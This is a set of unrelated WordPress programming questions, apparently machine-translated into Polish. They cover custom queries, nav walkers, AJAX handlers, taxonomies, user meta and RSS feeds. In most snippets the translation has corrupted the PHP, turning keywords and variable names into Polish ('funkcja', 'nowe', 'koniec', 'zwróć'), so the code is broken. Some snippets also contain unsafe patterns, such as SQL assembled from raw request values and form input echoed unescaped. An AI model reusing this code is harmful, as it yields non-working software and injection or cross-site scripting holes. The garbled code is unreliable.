title: Pobierz tytuł posta według alfabetu

text:
Staram się wywołać tę funkcję, aby uzyskać listę postów alfabetycznie. Ale z jakiegoś powodu ciągle otrzymuję błąd. Wywołanie funkcji składowej get_col() na obiekcie niebędącym obiektem. Co ja robię źle? {funkcja get_post_by_alphabet($the_char){ $first_char = $the_char; $postids=$wpdb->get_col($wpdb->prepare(" SELECT ID FROM $wpdb->posts WHERE SUBSTR($wpdb->posts.post_title,1,1) = %s ORDER BY $wpdb->posts. post_title",$first_char)); if ($postids) { $args=array( 'post__in' => $postids, 'post_status' => 'publish', 'posts_per_page' => -1, 'caller_get_posts'=> 1 ); $moje_zapytanie = null; $my_query = nowe WP_Query($args); if( $my_query->have_posts() ) { echo 'Lista tytułów postów zaczynających się na literę '. $pierwszy_znak; while ($my_query->have_posts()) : $my_query->the_post(); echo '
<'.the_title().'
'; koniec; } wp_reset_query(); // Odtwórz globalne dane postu, które zostały nadpisane przez the_post(). } } get_post_by_alphabet('H'); }


title: Wielojęzyczne linki do załączników

text: Mam witrynę, która działa w języku angielskim i francuskim i używa wp-document-revisions do zarządzania załącznikami do plików połączonymi z niestandardowym typem postu. Funkcja działa bezbłędnie w języku angielskim, ale mam problemy z francuskim. Właściwy plik (na przykład 3a30c28481152795125279fc12f93e90.pdf) znajduje się w odpowiednim katalogu. Rekord post_meta istnieje łączący zaszyfrowaną nazwę pliku i post w języku francuskim. Ale nie mogę uzyskać dostępu do pliku bezpośrednio z tą nazwą, a post-slug nie działa. jakieś pomysły? Dziękuję


title: Nav Walker: Ustaw identyfikator ul na tytuł bieżącego elementu

text:
Próbuję przypisać identyfikator do podmenu `ul`, które odpowiada powiązanym elementom `li` w moim nav-walkerze. Oto wynik, którego szukam:

 Pozycja menu 1

Element podrzędny

Element podrzędny

Element podrzędny

 Oto odpowiedni kod w mojej klasie `walker` Roots_Nav_Walker extends Walker_Nav_Menu { private $curItem; prywatny $curSectionItem; function check_current($classes) { return preg_match('/(current[-_])|active|dropdown/', $classes); } function start_lvl(&$output, $depth = 0, $args = array()) { $this->curSectionItem = $this->curItem; $output .= "\n
curItem->title."\">\n"; // $wyjście .= var_dump($this->curItem); // Debugowanie } Zmienna var_dump zwraca wartość null i żadne dane wyjściowe nie są dodawane. Coś oczywistego, że robię źle?


title: treść posta/strony

text: próbuję wstawić post/stronę do jednego z moich plików motywów i nie będzie on wyświetlał skrótów ani php. Utworzyłem stronę o nazwie home w panelu administratora wordpress i wstawiłem do mojego kodu następujący kod: <div id="home_page" > <!-- wyświetla zawartość strony "home" id:43 --> <?php $home_id = 43; $home_page = get_page( $home_id ); ?> <?php echo $home_page->post_content; ?> </div> <!-- end #home_page --> i żaden ze skrótów, które mam na stronie działa. zainstalowałem `php w poście lub na stronie` i próbowałem użyć php, ale to nie działa. kiedy wstawiam echo do_shortcode('[youtube_sc url=http://www.youtube.com/watch?v=Db3XGpt6nNU]'); bezpośrednio do kodu, który działa. czy ktoś wie, że tak się dzieje? Dziękuję Ci.


title: Niestandardowy wpis typu „hierarchiczny” Pomoc!

text: Nie jestem do końca pewien, dlaczego jest to w ogóle dostępne, ponieważ nie mogę znaleźć żadnej dokumentacji na temat tworzenia hierarchicznego niestandardowego typu posta poza opcjonalnym parametrem 'hierarchical' => true .... Czy ktoś może mi podać podstawowy przykład niestandardowego hierarchicznego typ posta i podrzędny niestandardowy typ posta? Na przykład, gdybym chciał utworzyć niestandardowy typ posta „Crayon Box” i podrzędny niestandardowy typ „Crayon”, jak by to zrobić? Ponownie, jestem więcej niż chętny do przeczytania dokumentacji, ale w Wordpress Codex nie ma absolutnie nic, co mógłbym znaleźć na ten temat. **UPDATE:** Czytałem w jednym poście, w którym ktoś użył post_parent, ale nie mogę też znaleźć dokumentacji dotyczącej tego parametru...


title: Tabindex przy wprowadzaniu tekstu natychmiast po wpisaniu tytułu WordPress

text: Poniższy kod dodaje tekst wejściowy dla napisów do miejsca bezpośrednio poniżej wpisanego tytułu, za pomocą haka `edit_form_after_title`. Jednak podczas edycji tytułu naciśnięcie klawisza tabulatora przenosi kursor do głównego edytora postów i nie mogę określić, jakiego tabindex powinienem użyć (lub innej metody, jeśli jest dostępna), aby zamiast tego przejść z tytułu do moich napisów. add_action( 'edit_form_after_title', 'add_input' ); funkcja add_input(){ global $post; $options = get_option( 'kia_subtitle_options' ); // pokaż dane wejściowe tylko jeśli typ posta nie został włączony w opcjach if ( isset ( $options['post_types'] ) && in_array( $post->post_type, $options[ 'post_types'] ) ) { //utwórz meta pole (nie używaj metaboksu, mamy własną stylizację): wp_nonce_field( plugin_basename( __FILE__ ), 'kia_subnonce' ); //pobierz wartość napisów (jeśli jest ustawiona) $sub = get_post_meta( get_the_ID(), 'kia_subtitle', true ); // powtórz pole input z wartością. printf( '<input type="text" class="widefat" name="subtitle" placeholder="%s" value="%s" id="the_subtitle" tabindex="1"/>', __( 'Napisy ', 'kia-subtitle' ), esc_attr($sub) ); } }


title: Jak kierować za pomocą css, elementów administracyjnych zgodnie z poziomem roli użytkownika?

text: Używam wtyczek „Capability Manager Enhanced” i „Adminimize”. Między tymi dwoma udało mi się zrobić wiele z tego, co chcę zrobić. Wciąż jest kilka elementów, które muszę ukryć i mogłem je celować za pomocą css. Problem polega na tym, że te elementy są ukryte na wszystkich poziomach administratora. Czy jest coś wbudowanego, co odróżnia różne poziomy ról administratora? Myślę, że najlepszym sposobem na to byłoby dodanie klasy do tagu body zgodnie z poziomem roli podczas logowania – na przykład klasa „autor”, jeśli poziom roli logowania to „autor”. Jeśli jest to najlepszy sposób, nie wiedziałbym, jak napisać kod, który to zrobi. Zakładam, że byłby to dodatek php do function.php. ???


title: Jak przetłumaczyć komunikat „złe hasło”?

text: Próbuję przetłumaczyć odpowiedź "niewłaściwe hasło" przy logowaniu do systemu. Aktualizuję wp-login.php, jednak nie znajduję tam obsługi błędnego hasła, niewłaściwego użytkownika. Może takie ogólne testy są wykonywane gdzie indziej? Dziękuję Ci.


title: Ajax nie działa, jeśli moduł obsługi znajduje się poza funkcją strony podmenu wtyczki

text: Używam wordpress ajax, aby wywołać zgłoszenie. Zlokalizowałem kod zgłoszenia na stronie podmenu, ponieważ jest on w konflikcie z funkcją na stronie głównej wtyczki. Problem polega na tym, że powinienem umieścić procedurę obsługi ajax w funkcji strony podmenu, podczas gdy nie zostanie ona uruchomiona, jeśli zostanie tam umieszczona. Zawsze zwraca `0` jeśli handler znajduje się w funkcji strony podmenu. Dodałem `nopriv` w haczyku obsługi, a także zlokalizowałem javascript. **Przykład Ajax z Wordpress Codex** również nie działa, jeśli umieszczę go w funkcji strony podmenu mojej wtyczki. Moje pytanie: * Jak sprawić, by wordpress ajax działał, gdy jego handler jest umieszczony w funkcji strony podmenu? Z góry dziękuję!


title: Jak dodać widżet tekstowy podczas aktywacji motywu

text: Próbuję dodać widżet tekstowy z tytułem i zestawem tekstowym do dwóch niestandardowych pasków bocznych w moim motywie niestandardowym. Ale nie mogę znaleźć jasnego przewodnika, jak to zrobić. Widziałem fragmenty kodu tu i tam, ale nic, co wyraźnie przechodzi przez proces programowego dodawania widżetu tekstowego do paska bocznego. Widziałem to, ale obraca się wokół niestandardowego widżetu, który nie jest tym, co próbuję zrobić. Edycja: mam dwa paski boczne - stopkę po lewej i stopkę po prawej. Oto, co próbowałem, ale to nie zadziałało. Czy ktoś może mi powiedzieć, co robię źle? update_option( 'sidebars_widgets', array ( 'footer-left' => array ( 0 => array( 'title' => 'Test1', 'text' => 'Test 1 Test')), 'footer-right' = > array ( 0 => array( 'title' => 'Test2', 'text' => 'Test 2 Test')), ) );


title: czy tłumaczenie (i18n) musi zaczynać się od angielskiego PO?

text: zastanawiałem się: wydaje się, że tłumaczenie musi być tłumaczeniem z angielskiego. Mam na myśli, że plik startowy jest po angielsku, potem robisz z niego tłumaczenia. Ale co jeśli powiem, że jestem Włochem? Czyli podstawowym językiem jest włoski, a pozostałe to tłumaczenia z włoskiego? Bo to tylko tak: chciałbym mieć oryginalny plik PO w języku włoskim i od tego miejsca. Jak to zrobić?


title: Jak wyświetlić status użytkowników (online - offline) w archive.php

text: Używam kodu status użytkownika Jak sprawdzić, czy użytkownik (nie aktualny użytkownik) jest zalogowany?. Na profilu autora działa dobrze (dziękuję). Ale jeśli umieszczę stronę archiwum, na dole postu, to nie działa. **`functions.php`** add_action('wp', 'update_online_users_status'); function update_online_users_status(){ if(is_user_logged_in()){ if(($logged_in_users = get_transient('users_online')) === false) $logged_in_users = array(); $bieżący_użytkownik = wp_get_bieżący_użytkownik(); $bieżący_użytkownik = $bieżący_użytkownik->ID; $current_time = current_time('znacznik czasu'); if(!isset($logged_in_users[$current_user]) || ($logged_in_users[$current_user] < ($current_time - (15 * 60)))){ $logged_in_users[$current_user] = $current_time; set_transient('users_online', $zalogowani_in_users, 30 * 60); } } } **`author.php`** <?php function is_user_online($user_id) { // pobierz listę użytkowników online $logged_in_users = get_transient('users_online'); // online, jeśli on jest na liście, a ostatnia aktywność była mniej niż 15 minut temu, zwróć isset($logged_in_users[$user_id]) && ($logged_in_users[$user_id] > (current_time('timestamp') - ( 15*60))); } $passthis_id = $curauth->ID; if(is_user_online($passthis_id)){echo 'Użytkownik jest online.';} else {echo'Użytkownik nie jest online.';} ?> > **EDYTUJ** OP chce "wyświetlić status na dole każdy post na > stronie archiwum".


title: Sortuj archiwum według taksonomii

text: Mam witrynę z Taxonomy for State (np. Victoria, Qeensland ETC), która nazywa się listing_state. Mam również taksonomię o nazwie Members_type, która może być bezpłatna lub płatna. Te dwie taksonomie są dla wykazów CPT Jeśli kliknę taksonomię dla stanu, przyniesie ona oczekiwane wyniki posortowane według daty opublikowania, jak mam wystawić płatne członkostwa przed bezpłatnymi członkostwami. Używam motywu Genesis i Lifestyle Dzięki Richard


title: Wstaw do db z problemem foreach

text: Nie mam pojęcia, dlaczego ten foreach nie działa. Kiedy publikuję artykuł, wstawiam tylko raz. Powinien zrobić tyle, ile potrzeba. Czy widzisz jakiś problem? $tablica_produkcja = tablica(); for($i=1; $i<=8; $i++) { $gramaj = isset($_POST['image'.$i.'_gramaj']) ? $_POST['obraz'.$i.'_gramaj'] : ''; $pret = isset($_POST['image'.$i.'_pret']) ? $_POST['obraz'.$i.'_pret'] : ''; $array_produse[$i]['gramaj'] = $gramaj; $array_produse[$i]['pret'] = $pret; $array_produse[$i]['numar_produs'] = $i; } foreach($array_produse as $produs) { $wpdb->insert( 'produse', array( 'id' => $post_id, 'pret' => $produs['pret'], 'gramaj' => $produs ['gramaj'], 'numar_produs' => $produs['numar_produs'])); }


title: czy mogę ograniczyć edycję określonych pól niestandardowych do określonych ról?

text: piszę wtyczkę, która wstrzykuje niezmienioną treść (w tym javascript) do posta. przechowuję tę zawartość jako pole niestandardowe i zastanawiam się, czy istnieją wbudowane sposoby uniemożliwiające użytkownikom edytowanie określonych pól niestandardowych.


title: Sprawdź kategorię nadrzędną z identyfikatorami od dziecka - get_term_children

text:
Mam hierarchiczną listę kategorii, taką jak: A (kategoria nadrzędna) - B (kategoria dzieci) - C (kategoria dzieci) - D (kategoria dzieci) B (kategoria nadrzędna) - E (kategoria dzieci) - F (kategoria dzieci) Chcę, że jeśli kategoria nadrzędna ma kategorie potomne, to kategoria nadrzędna ma również identyfikatory kategorii potomnych, np. <input id="parent_1(ID)" class="pole wyboru" type="pole wyboru" name=" parent_1(ID)" checked="checked" onchange="toggle( 1 (ID kategorii nadrzędnej), Array( 4, 3 (oba identyfikatory kategorii podrzędnych), 999 ) )"> Tak więc, gdy kategoria nadrzędna jest zaznaczona , podrzędne kategorie również zostały sprawdzone. Ze starą funkcją Wordpress get_children_categories działała zgodnie z oczekiwaniami, a java sprawia, że reszta sprawdza się z dziećmi rozpoznając id. Ale mój problem polega na tym, że funkcja get_children_categories jest przestarzała, a nowa funkcja get_term_children nie działa. Stary kod wyglądał tak: class Walker_Category extends Walker { var $tree_type = 'category'; var $db_fields = array ('parent' => 'parent', 'id' => 'term_id'); function start_lvl($wyjście, $głębokość, $argumenty) { if ( 'lista' != $args['styl'] ) return $wyjście; $indent = str_repeat("\t", $depth); $output .= "$indent
\n"; zwróć $wyjście; } .................... function start_el($wyjście, $kategoria, $głębokość, $args) { extract($args); $cat_name = esc_attr($category->name); $cat_name = apply_filters( 'list_cats', $cat_name, $category ); $children = substr( get_category_children( $category->term_id, '', ', '), 0, -2 ); li><input type='checkbox' onchange='toggle( {$category->term_id}, Array( $dzieci, 999 ) )' ................. Ale kiedy zmieniłem kod typu: $children = get_term_children((int) $category->term_id, $category); "
<input type='checkbox' onchange='toggle( {$category->term_id}, Array( $children... Daje tylko 0 out. Kiedy print_r wypisuje tablice z identyfikatorami dzieci kategorie, takie jak: $children = get_term_children( (int) $category->term_id, 'category'); $children = print_r( $children ); A wynik jest następujący: Array ( [0] => 3 [1] => 4 ) Array ( ) Array ( ) Array ( [0] => 6 ) Array ( ) Czy ktoś ma jakiś pomysł, jak mogę go zwolnić? Mam już kilka godzin i nie zgłaszam tego. Albo może być innym rozwiązaniem gdzie sprawdzane są również podkategorie.Dzięki za pomoc...


title: Instrukcje warunkowe

text: Utworzyłem niestandardowy typ posta o nazwie - listing Utworzyłem również niestandardową taksonomię - listingcategories W kategoriach aukcji utworzyłem dwie kategorie 1. muzyka 2. funkcje Teraz chcę utworzyć wyrażenie warunkowe dla kategorii muzyki Próbuję tego, ale to nie działa <?php globalna $post; if (($post->post_type == 'listing') && is_category('music')) { //statement } ?> Czy używam go prawidłowo **is_category()** ? Proszę pomóż. Dzięki Rajiv


title: Przekieruj stare adresy URL ciągu zapytania do nowych adresów URL SEO

text: Miałem adresy URL takie jak `example.com/?area=new-york`. „obszar” to taksonomia niestandardowa. Musiałem zmienić adresy URL na `example.com/new-york`. Chcę zrobić 301 do nowych adresów URL, jeśli uzyskano dostęp do poprzednich adresów URL. i chcę, aby Google zaktualizował swój indeks. Próbowałem zdefiniować regułę przepisywania, która może to osiągnąć, ale nie udało mi się. Pomoc potrzebna!


title: Uszkodzony adres URL żądania kanału RSS

text: Mam 2x strony internetowe. Witryna pierwsza zawiera wiele informacji o profilu użytkownika, a witryna druga służy do odwoływania się do tych informacji, aby uniknąć powielania pracy. Aby to osiągnąć, używam niestandardowego kanału RSS. Jednak kanał, o który proszę, gdzieś się popsuł i nie wiem gdzie. Kanał działa, jeśli wejdę do niego bezpośrednio na pierwszej stronie internetowej (np. http://www.dynedrewett.com/feed/?person=natalie-cox). Jeśli jednak spróbuję pobrać kanał ze strony numer 2, zwracane są nieprawidłowe dane. Gdy żądane jest źródło, loguję zmienną zapytania `person`, abym mógł sprawdzić, co to jest. Przechodząc bezpośrednio do kanału (tj. korzystając z powyższego linku) rejestrowana jest prawidłowa nazwa. Jednak przy wywołaniu kanału z drugiej strony rejestrowana jest nieprawidłowa nazwa. Kiedy wyprowadzam `$url` na drugiej stronie internetowej (adres URL używany do pobrania kanału), dosłownie podczas tworzenia obiektu SimplePie, jest to poprawne. Następnie wyprowadzam obiekt i ustawiam poprawny adres URL kanału. Więc gdzieś pomiędzy tworzeniem obiektu SimplePie w witrynie 2 a żądaniem kanału w witrynie 1, adres URL jest zamieszany. Ale nie wiem, co może być tego przyczyną. Przeszukałem każdy plik w moim motywie i żaden z nich nie zawiera filtru `request` (więc nie ma zastępowania mojego drugiego filtra). Ponadto dezaktywowałem każdą pojedynczą wtyczkę i to również nie miało znaczenia. Czy ktoś ma jakieś sugestie dotyczące innych rzeczy, które mógłbym sprawdzić? Dziękuję. **Jak witryna obsługuje żądania kanałów** add_filter('request', 'feed_request'); function feed_request($qv){ if(isset($qv['feed']) && !isset($qv['post_type'])) : if(isset($_GET['person'])) : // Tylko określony personel (według ID) został poproszony $qv['post_type'] = 'personel'; $qv['post__in'] = get_staff_post__in_ids(explode(',', $_GET['person'])); update_option('last_rss_person', explode(',', $_GET['person'])); endif; endif; zwróć $qv; } funkcja get_staff_post__in_ids($names){ global $wpdb; $query = stripslashes($wpdb->prepare('SELECT `%1$s`.`ID` FROM `%1$s` WHERE 1=1 AND `%1$s`.`post_name` IN (%2$ s)', $wpdb->posts, ''"'.join('","', $names).'"')); $wyniki = $wpdb->get_col($zapytanie); $post__in = (!pusty($wyniki)) ? $wyniki : tablica(0); zwróć $post__in; } **Jak strona 2 żąda kanału** function fetch_person_feed($url){ echo '<pre>$url: '; print_r($url); echo '</pre>'; $feed = nowy SimplePie(); $feed->set_feed_url($url); $ feed-> set_cache_class ('WP_Feed_Cache'); $feed-> set_file_class('WP_SimplePie_File'); //$feed->set_cache_duration(3600); // Ustaw bufor na 1 godzinę (3600 sekund) $feed->set_cache_duration(10); // Ustaw bufor na 10 sekund (używaj tylko podczas testowania) do_action_ref_array('wp_feed_options', array(&$feed, $url)); $feed->init(); $feed->handle_content_type(); if($feed->error()) : zwróć nowy WP_Error('simplepie-error', $feed->error()); endif; return $feed; }


title: Jak usunąć niechciane strony, takie jak archiwum, wyszukiwanie itp.?

text: Domyślnie WordPress wypycha całą gamę stron, których nie chcę lub nie potrzebuję - archiwum, autor, blog, miesięcznik, ostatnie posty, kategorie, komentarze, załączniki, taksonomie, wyszukiwanie, wyniki wyszukiwania i prawdopodobnie kilka innych, które miałem pominięty. Przez większość czasu tworzę regularne strony internetowe z broszurami, nie potrzebując niczego poza kilkoma dość statycznymi stronami. Jak pozbyć się wszystkich pozostałych stron? Czy istnieje wtyczka, która to zrobi? Czy muszę ustawić kilkanaście przekierowań w .htaccess? Próbowałem wyszukiwać, ale znajduję tylko to, jak ukryć części strony lub dostosować mapę witryny, aby ukryć się przed wyszukiwaniami. Ale w ogóle nie chcę tych stron, więc nawet wpisanie bezpośredniego adresu URL nie powinno działać.


title: Czy możliwe jest przechowywanie adresów IP odwiedzających w tabeli wp_postmeta?

text: Lub w którejkolwiek z pozostałych 11 tabel Wordpress. W tej samej tabeli muszę również przechowywać: datę przesłania, imię i nazwisko, numer kontaktowy. Jakie podejście byłoby najlepsze? Niestandardowa tabela czy korzystanie ze standardowej tabeli?


title: Możliwy błąd: update_user_meta aktualizuje dwa unikalne wpisy meta

text:
Na stronie CPT sprawdzam, czy użytkownik jest zalogowany; jeśli tak, sprawdzam, czy mają wpis meta, którym jest `'session-'` + skrót bieżącej strony. Jeśli tak, zwiększam wartość o jeden. Myślałem, że to wszystko działa dobrze, ale właśnie zauważyłem, że faktycznie zwiększa to dwa oddzielne pola user_meta. W tej chwili mam trzy strony CPT (nazwijmy je Burt, Ernie & Ralph); jeśli odświeżę stronę dla **Burt** , zwiększy to moje pole user_meta (`session-burt`) o 1, co jest świetne; jednak _również_ zwiększa `session-ralph` o 1. Nie mam otwartej strony **Ralph** i powtarzam wszystko, co przychodzi mi do głowy, aby spróbować prześledzić błędną linię kodu, ale ja nie rozumiem, dlaczego to robi. To niesamowicie irytujące. Oto mój kod. Mam nadzieję, że jestem ślepy na coś naprawdę oczywistego i nie jest to błąd WP. $stub = $post->post_name; $sessionKey = 'sesja-' . $stub; $oglądanyKlucz = $stub . '-ostatnio oglądane'; $sessionViewsArray = get_user_meta($current_user->ID, $sessionKey); $sessionViews = (int)$sessionViewsArray[0]; echo '
'; print_r($sessionViewsArray); echo '
'; echo '
Myślę, że są ' . $sessionViews . ' widoki
'; $lastViewedArray = get_user_meta($current_user->ID, $viewedKey); $lastViewedTime = $lastViewedArray[0]; if ($lastViewedTime) { $lastViewedTime = date('l jS F Y, g:ia', $lastViewedTime); } else { $lastViewed = 'Pierwszy raz - powodzenia!'; } $newSessionViews = $sessionViews + 1; update_user_meta($current_user->ID, $sessionKey, $newSessionViews); update_user_meta($current_user->ID, $viewedKey, time()); echo '
Wydaje mi się, że właśnie zaktualizowałem ' . $sessionKey . '
'; /// // Teraz zaktualizujmy wyświetlenia strony /// $pageViewsArray = get_post_meta($post->ID, 'totalviews'); $pageViews = (int)$pageViewsArray[0]; $Odsłony strony += 1; update_post_meta($post->ID, 'całkowita liczba wyświetleń', $pageViews); Warto zauważyć, że wydaje się, że dotyczy to tylko jednego wpisu `session-ralph`; wpis `ralph-lastviewed` nie jest aktualizowany, jeśli odświeżę stronę Burta. Każda pomoc byłaby bardzo mile widziana! ## AKTUALIZACJA: Zgodnie z _niesamowitą_ odpowiedzią z @dalbaeb poniżej, moim rozwiązaniem było użycie następującego haka: `remove_action('wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0);` ='next'...` i `<link rel='prev'...` z mojego nagłówka i natychmiast rozwiązał problem.


title: Subdomena dla kategorii głównej, katalogi dla podkategorii

text: Wyjaśniam jasno co chcę osiągnąć : Mam tutaj Kategoria główna : Samochód - Podkategoria : Samochód sportowy -- Podkategoria : Porsche ---Post : Porsche-911-Turbo.html Chcę mieć taki adres URL : „car.mysite.com/sports-car/porsche/porsche-911-turbo.html” Jak mogę uzyskać ten wynik za pomocą WordPressa? Dzięki za wszystkie odpowiedzi.


title: Wordpress Ajax zawsze zwraca błąd 404

text:
Właśnie dostałem ten kod z samouczka. Nie wydaje mi się, żeby to zadziałało. HTML (home.php) <form name="myform" id="myform" action="" method="POST">  Nazwa <input type="text" name="name" id="name" size="30" value=""/>
  E-mail <input type="text" name="email" id="email" size="30" value=""/>
 <! -- Przycisk Prześlij --> <input type="submit" name="submit" value="Submit"> </form>

 PHP (function.php) function myform(){ echo "Formularz przesłany pomyślnie:
Twoje imię to ".$_POST['name']." i Twój adres e-mail to ".$_POST['email']."
"; } add_action('wp_ajax_myform', 'myform'); add_action('wp_ajax_nopriv_myform', 'myform'); JavaScript (header.php)


title: Wyświetlaj tylko najnowszy post

text: Wydaje się, że coś jest nie tak z logiką tego, co robię. Chcę tylko wyświetlić najnowszy post w niestandardowym terminie. Ale zamiast tego wyświetlam każdy post dla tego terminu, mimo że używam `posts_per_page => 1` Mam taksonomię o nazwie „bliźniak” i termin „podwójny portret”, mam 2 posty w kategorii o nazwie „celebrity” , oba z terminem „portret podwójny”. Kod mam wyjście w odpowiedniej kategorii w porządku, ale jak mówię, jest wyprowadzany dla każdego posta, a nie tylko jednego. Oto kod, którego używam: $post_type = 'post'; $taxonomies = get_object_taxonomies( (obiekt) array( 'post_type' => $post_type ) ); foreach( $taksonomie jako $taksonomia ) : $terms = get_terms( $taksonomia ); foreach( $terms as $term ) : $args = array( 'tax_query' => array( array( 'taxonomy' => $taxonomy, 'field' => 'slug', 'terms' => $term->slug ) ), 'posts_per_page' => 1, 'ignore_sticky_posts' => prawda, 'orderby' => 'zmodyfikowane', ); $posts = nowe WP_Query( $args ); if( $posts->have_posts() ): while( $posts->have_posts() ) : $posts->the_post(); if(in_category($str)) { if(has_term('podwójny portret','twin')) { echo wyciągu(); } } koniec; endif; na każdym kroku; na każdym kroku;


title: zmodyfikuj arkusz stylów konkretnej strony wewnątrz wp-admin

text: wewnątrz tej ścieżki znajduje się lista moich stron wordpress. /wp-admin/edit.php?post_type=page&orderby=title&order=asc chcę usunąć domyślny projekt strony `<table>` i stworzyć własny styl. jak przejść i zmodyfikować tę konkretną stronę. Czy ta funkcja `add_action()` nadal ma zastosowanie? tylko do określonej strony? czy powinienem bezpośrednio zmodyfikować `edit.php`?


title: Wybrać posty z dowolnym post_typem z bazy danych?

text: Próbuję wybrać wszystkie wiersze z bazy danych niezależnie od typu postu, jednak gdy pomijanie post_type WP_Query pobiera tylko wiersze z `post_type = "post"` czy istnieje sposób na pominięcie filtra post_type (lub zaznaczenie wszystkich typów postów)? // To po prostu wybiera post_type = "posts" $args = array( 'post_status' => 'publish', 'posts_per_page' => -1, 'ignore_sticky_posts' => true, ); $qry = nowe WP_Query( $args );


title: Sortowanie według tagu lub kategorii

text: Oto scenariusz: użytkownik klika tag, który przenosi go do listy wszystkich postów z tym tagiem. Istnieją setki postów, więc użytkownik potrzebuje sposobu na ich filtrowanie. Oto pytanie: Jak utworzyć listę rozwijaną, którą użytkownik może wybrać do filtrowania według kategorii na stronie tagu. Na przykład filtruj wszystkie żółte znaczniki według kategorii Kolor. Przydałaby się też odwrotność. Wyszukiwanie kategorii Kolor i filtrowanie według znacznika Żółty.


title: Użycie tax_query odwraca mój argument post_type w niestandardowym WP_Query

text: Używam niestandardowego zapytania, aby pobrać niektóre posty z niestandardowego typu postu. Mam z tym problemy, więc użyłem print_r na moim obiekcie WP_Query i znalazłem coś dziwnego. moje zapytanie ma następujące argumenty: 'post_type' => 'event' ,'tax_query' => array( array( 'taxonomy' => 'event-categories' ,'field' => 'id' ,'terms' => 72 ,'operator' => 'W' ) ), 'zamówienie' => 'ASC' ); $zapytanie = nowe WP_Query( $args ); a kiedy usunę część tax_query otrzymuję wszystkie moje posty, ale kiedy ją uwzględnię, nie otrzymuję żadnego. Jestem przekonany, że mam więcej niż jeden post z identyfikatorem taksonomii 72. Kiedy patrzę na mój print_r ($query) z typem postu, widzę to: Obiekt WP_Query ( [query_vars] => Array ( [post_type] => Array ( [0] => media_player [1] => ada_slides [2] => zamknięcia [3] => personel [4] => post [5] => strona ) Wszystkie moje typy postów są wymienione z wyjątkiem ten, którego chciałem, event.Jeśli wyjmę tax_query z moich argumentów, wygląda to tak: Obiekt WP_Query ( [query_vars] => Tablica ( [post_type] => event [order] => ASC ... i tak dalej Również , jeśli zmienię mój operator na NOT IN, przeszukuje właściwy typ postu, ale wyklucza kategorię, którą chcę wyszukać.Dlaczego użycie argumentu tax_query miałoby pozornie unieważniać mój argument post_type i zamiast tego uwzględniać wszystkie posty typy, ale ten, którego chciałem?


title: Utknąłeś ze sprzecznymi pętlami na szablonie strony

text:
Jestem naprawdę nowy w WordPressie i mam problem z moim szablonem strony i pętlą paska bocznego. Zrobiłem blok, który wyświetla posty w kategorii na pasku bocznym, wyświetla również niestandardowe pole pod tytułem każdego posta, a kod wygląda tak: <?php $published = get_post_meta( $post->ID, 'article_Details' , PRAWDA ); ?>

Ostatnie artykuły
 <?php $catquery = new WP_Query( 'cat=2&posts_per_page=6' ); while($catquery->have_posts()) : $catquery->the_post(); ?> <a class="listing" href="<?php the_permalink() ?>"><?php the_title(); ?>
<?php echo $published[0]['szczegóły-publikacji']; ?>
 <?php endwhile; ?>

 Wyświetla się poprawnie w pojedynczych postach, kategoriach i na stronie głównej, ale dla każdej **strony** w witrynie, w której powinna być, psuje się, tylko pierwszy element w bloku jest wyświetlany bez pole niestandardowe i stopka witryny nigdy się nie pojawiają. Szablon, którego używam dla moich stron, wygląda tak: <?php get_header(); ?>
 <?php while (have_posts()) : the_post(); ?> <artykuł <?php post_class(); ?>>
<?php the_title(); ?>

 <?php the_content(); ?>

 <?php endwhile; ?> <?php get_sidebar(); ?> <?php get_footer(); ?> Nie jestem pewien, o co chodzi, próbowałem zmienić kilka rzeczy, aby naprawić kod zarówno w szablonie strony, jak i szablonie paska bocznego bez powodzenia.


title: Dodaj istniejącego użytkownika jako administratora

text: Prowadzę kilka stworzonych przeze mnie witryn Wordpress. Znajomy poprosił mnie o pomoc w administrowaniu jego istniejącą witryną. Dlatego chcemy dodać mój identyfikator użytkownika jako administratora do jego witryny. Jednak użytkownik | Dodaj użytkownika umożliwia dodanie „nowego użytkownika” z nowym hasłem, e-mailem. Zdecydowanie wolałbym nie mieć innego konta użytkownika wordpress do zapamiętania. Czy nie mogę dodać mojego istniejącego identyfikatora użytkownika jako administratora do witryny mojego przyjaciela?


title: Wyślij warunkowo potwierdzenie uaktualnienia roli użytkownika

text: Używam tego fragmentu kodu do wysyłania wiadomości e-mail z potwierdzeniem do użytkownika, gdy jego konto zostanie uaktualnione do nowej roli użytkownika. function user_role_update( $user_id, $new_role ) { $site_url = get_bloginfo('wpurl'); $user_info = get_userdata( $user_id ); $to = $user_info->user_email; $subject = "Zmieniona rola: ".$site_url."; $message = "Witaj " .$user_info->display_name . " Twoja rola zmieniła się na ".$site_url.", gratulacje, jesteś teraz " . $nowa_rola; wp_mail($do, $temat, $wiadomość); } add_action( 'set_user_role', 'user_role_update', 10, 2); Spowoduje to wysłanie wiadomości e-mail, czy konto zostało uaktualnione lub obniżone, co nie daje mi możliwości wysłania innej wiadomości o obniżeniu poziomu. Mam dwie sytuacje, w których to jest używane. 1. Gdy użytkownik zostanie uaktualniony z „współtwórcy” do „autora”. 2. Gdy „autor” zostanie obniżony do „współtwórcy”. Jak mogę użyć warunków, aby wysłać inny e-mail dla każdego z tych wydarzeń?


title: Błąd podczas próby wylogowania

text: Ten problem został zgłoszony na forum WP miesiąc temu: Błąd podczas próby wylogowania. Za każdym razem, gdy się wylogujesz, otrzymasz (Chrome): > **Ta strona internetowa jest niedostępna.** > > Strona internetowa pod adresem http://my.site.com/blog/wp- > login.php?action=logout&_wpnonce=2d5b319c49 może być tymczasowo wyłączony lub > mógł zostać na stałe przeniesiony na nowy adres internetowy. > > Więcej informacji na temat tego błędu Poniżej znajduje się oryginalny komunikat o błędzie > > Błąd 101 (net::ERR_CONNECTION_RESET): Nieznany błąd. Mam ten problem od co najmniej 3.0.2 i nadal występuje w wersji 3.0.4. Mój gospodarz to IPOWER. Zastanawiałem się, czy ktoś tutaj widział ten problem, a co ważniejsze, ma rozwiązanie. Dziękuję. Trochę więcej informacji: 1. Otrzymuję ten sam błąd resetowania połączenia z FireFoxem i IE. 2. Dziennik dostępu Apache pokazuje (nie mam dostępu do dzienników błędów): [22/Jan/2011:00:01:39 -0500] "GET /blog/wp-login.php?action= wyloguj&_wpnonce=2d5b319c49 HTTP/1.0" **302** 212"http://my.site.com/blog/wp-admin/" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/ 534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10" Tymczasowe przekierowanie do /blog/wp-admin/ wydaje się mieć sens -- po wylogowaniu wracasz do strony logowania.


